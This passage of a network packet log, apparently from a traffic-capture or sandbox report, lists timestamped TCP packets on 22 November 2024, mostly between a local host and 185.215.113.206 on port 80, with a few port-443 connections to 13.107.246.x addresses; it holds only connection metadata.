Nov 22, 2024 23:06:34.889132023 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.889841080 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.889868975 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.889895916 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.889935017 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.890697002 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.890780926 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.890840054 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.891453028 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.891551018 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.891627073 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.892275095 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.892358065 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.892405033 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.893080950 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.893183947 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.893234015 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.893892050 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.893999100 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.894037962 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.894692898 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.894798040 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.894944906 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.895499945 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.895602942 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.895654917 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.896322966 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.896342039 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.896359921 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.896384954 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.897099972 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.897166014 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.897224903 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.897279024 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.897917986 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.897994995 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.898052931 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.898746967 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.898849010 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.898863077 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.898885965 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.899555922 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.899616003 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.899667025 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.900373936 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.900418043 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.900464058 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.901169062 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.901205063 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.901210070 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.901827097 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.901976109 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.902012110 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.902149916 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.902249098 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.902792931 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.902829885 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.902904034 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.903002024 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.903585911 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.903650045 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.903693914 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.904423952 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.904536963 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.904576063 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.905213118 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.905258894 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.905308008 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.905464888 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.905795097 CET	443	49829	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:34.906035900 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.906147957 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.906198025 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.906811953 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.906862020 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.906917095 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.906999111 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.907613993 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.907665014 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.907718897 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.907752037 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.908420086 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.908463955 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.916435003 CET	49829	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:34.916495085 CET	443	49829	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:34.917581081 CET	443	49829	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:34.917670965 CET	49829	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:34.918647051 CET	49829	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:34.918737888 CET	443	49829	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:34.919112921 CET	49829	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:34.919131994 CET	443	49829	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:34.930870056 CET	49827	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:34.932313919 CET	443	49825	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:34.932404995 CET	443	49825	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:34.932769060 CET	49825	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:34.960311890 CET	49829	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:34.967647076 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.967668056 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.967732906 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.967808962 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.967849016 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.968548059 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.968609095 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.968657970 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.968868017 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.969335079 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.969497919 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.969535112 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.005398989 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.005506039 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.005795956 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.005897045 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.005939960 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.006608963 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.006659031 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.006726027 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.007460117 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.007513046 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.007658005 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.008250952 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.008296967 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.008357048 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.009051085 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.009094000 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.009143114 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.009831905 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.009861946 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.009943008 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.009989023 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.010818958 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.010860920 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.011001110 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.011048079 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.011493921 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.011595964 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.011640072 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.012279987 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.012401104 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.012448072 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.013098001 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.013199091 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.013242006 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.013897896 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.013993025 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.014748096 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.014805079 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.014836073 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.015501976 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.015553951 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.015593052 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.016319990 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.016361952 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.016438961 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.017112970 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.017157078 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.017251015 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.017837048 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.017971039 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.018062115 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.018109083 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.018735886 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.018852949 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.018897057 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.019552946 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.019639969 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.019681931 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.063533068 CET	443	49832	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:35.092003107 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.092118979 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.092361927 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.092443943 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.092449903 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.092490911 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.093177080 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.093285084 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.093843937 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.093981981 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.094099045 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.094137907 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.094779015 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.094854116 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.094893932 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.095607042 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.095748901 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.095788002 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.096405029 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.096565962 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.096632004 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.097188950 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.097318888 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.097357035 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.098037004 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.098150969 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.098836899 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.098882914 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.098934889 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.099801064 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.099822998 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.099850893 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.099864006 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.100445986 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.100491047 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.100528002 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.101274014 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.101345062 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.101378918 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.101828098 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.102087021 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.102139950 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.102183104 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.102870941 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.102977991 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.103020906 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.103708029 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.103816986 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.103858948 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.104485035 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.104651928 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.104690075 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.105292082 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.105407953 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.105447054 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.106122971 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.106216908 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.106944084 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.106996059 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.107012987 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.107601881 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.107713938 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.107781887 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.107831955 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.107980967 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.108517885 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.108632088 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.108674049 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.109352112 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.109397888 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.109436989 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.109479904 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.110122919 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.110163927 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.110236883 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.110433102 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.110966921 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.111016035 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.111069918 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.111160040 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.111768961 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.111824989 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.111860037 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.111926079 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.112564087 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.112617970 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.112700939 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.112736940 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.113394976 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.113441944 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.113480091 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.113524914 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.114175081 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.114286900 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.114332914 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.114986897 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.115041018 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.115086079 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.115176916 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.115803003 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.115860939 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.115905046 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.115943909 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.116597891 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.116650105 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.116755009 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.116796017 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.117417097 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.117465019 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.117520094 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.117563009 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.118166924 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.118386030 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.121300936 CET	49832	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:35.178159952 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.178256035 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.178286076 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.178318024 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.178585052 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.178662062 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.178695917 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.178729057 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.179408073 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.179444075 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.179524899 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.179559946 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.180171013 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.180212021 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.195982933 CET	49832	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:35.196002960 CET	443	49832	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:35.196413994 CET	49832	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:35.196420908 CET	443	49832	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:35.197350025 CET	49826	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:35.197377920 CET	443	49826	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:35.197968006 CET	49826	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:35.197973967 CET	443	49826	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:35.198987007 CET	443	49828	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:35.199179888 CET	443	49828	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:35.199254990 CET	49828	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:35.203421116 CET	49828	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:35.203444958 CET	443	49828	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:35.216013908 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.216072083 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.216105938 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.216105938 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.216388941 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.216504097 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.216548920 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.217211962 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.217266083 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.217305899 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.217344999 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.218018055 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.218076944 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.218163967 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.218245029 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.218844891 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.218991995 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.219033003 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.219626904 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.219674110 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.219741106 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.219897985 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.220441103 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.220490932 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.220562935 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.220702887 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.221256018 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.221302032 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.221352100 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.221390009 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.222057104 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.222095013 CET	49762	80	192.168.2.5	185.215.113.206
